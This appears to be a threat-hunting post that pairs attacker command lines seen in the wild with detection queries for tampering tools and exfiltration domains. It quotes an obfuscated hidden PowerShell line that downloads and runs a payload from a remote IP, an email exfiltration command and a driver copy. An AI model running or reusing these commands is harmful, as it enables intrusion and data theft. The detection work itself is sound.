Know Your Adversary

blat.exe -to in@vniir.nl -f "TELEGRAM

event_type: "processcreatewin"

AND

proc_file_originalfilename: "blat.exe"

AND

cmdline: ("u" AND "pw" AND "attach")

event_type: "processcreatewin"

AND

proc_file_originalfilename: "PCHunter.exe"

event_type: "dnsreq"

AND

dns_rname: "epoolsoft.com"

event_type: "filecreatewin"

AND

file_path: ("PCHunter" AND "sys")

powershell.exe -WindowStyle hidden echo DsuXBGtDPVpafNQKWfGNQXRPehfejEMnZWqvtPFEKrDQRtLDoRtJCcMjEFenVKrryMHia; Write-HostZVRjgZrFwKSbjNrBtIujdNLLlPq; if (-not(Test-Path iscabv.''zi''p -PathType Leaf)){echo vgUYzpRfaoGxgCSuzlmZCRxmXRnGJKBwooBEEoJgvYqjRXoXTHaspGDtNMuMovanuZezIbSYgAmXMqDOLMczhxmvJtkBJPsVai; &(g''cm i******w*****r) -uri h''t''tp:''//''146''.''1''85''.''233''.''90''/iscabv.''zi''p -OutFile iscabv.''zi''p}; Expand-Archive -Path iscabv.''zi''p -DestinationPath Drvx64; star''t  Drvx64/IsCabView.''e''xe; echo ihdfDvzZhaId; &(g''c''m *******ke-****est) -uri h''t''tp:''//''146''.''1''85''.''233''.''90''/oudid/Nak0579.doc -OutFile Nak0579.doc; sta''rt Nak0579.doc

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("WindowStyle hidden echo" AND "Expand-Archive")

event_type: "dnsreq"

AND

dns_rname: "bark.lgbt"

event_type: "dnsreq"

AND

dns_rname: "webhookbin.net"

event_type: "processcreatewin"  

AND  

proc_file_originalfilename: "HRSword.exe"

cmd.exe /S /D /c" copy Drivers\x32\sysdiag.sys "C:\Windows\System32\drivers\"

event_type: "processcreatewin"  

AND  

proc_file_name: "cmd.exe"  

AND  

cmdline: ("copy" AND "drivers")

event_type: "processcreatewin"

AND

proc_file_originalfilename: "runnerw.exe"

AND NOT

proc_file_name: ("runnerw.exe" OR "runnerw64.exe")

event_type: "processcreatewin"

AND

proc_file_originalfilename: "cnmpaui.exe"

AND NOT

proc_file_path: "Canon\\Canon IJ Printer Assistant Tool"

event_type: "processcreatewin"

AND

proc_p_file_path: "cnmpaui.exe"

AND

proc_file_path: "winword.exe"

event_type: "filecreatewin"

AND

file_name: ("pdf" AND "svg")  

event_type: "processcreatewin"

AND

(proc_file_productname: "PowerTool"

OR

proc_file_originalfilename: "PowerTool.exe")

event_type: "processmoduleload"

AND

file_productname: "PowerTool"

event_type: "filecreatewin"

AND

file_path: ("programdata" AND "blf")

event_type: "processcreatewin"  

AND  

(proc_file_productname: "IObit Unlocker"  

OR  

proc_file_path: "IObit")  

event_type: "processcreatewin"

AND

proc_file_name: ("chrome.exe" OR "brave.exe" OR "opera.exe" OR "msedge.exe")

AND

cmdline: "load-extension"

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "$r=$(Get-Location).Path + '\\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip';if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path 'C:\Users\

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("WriteAllBytes" AND "Combine" AND "ReadAllBytes")

event_type: "dnsreq"

AND

dns_rname: "ppng.io"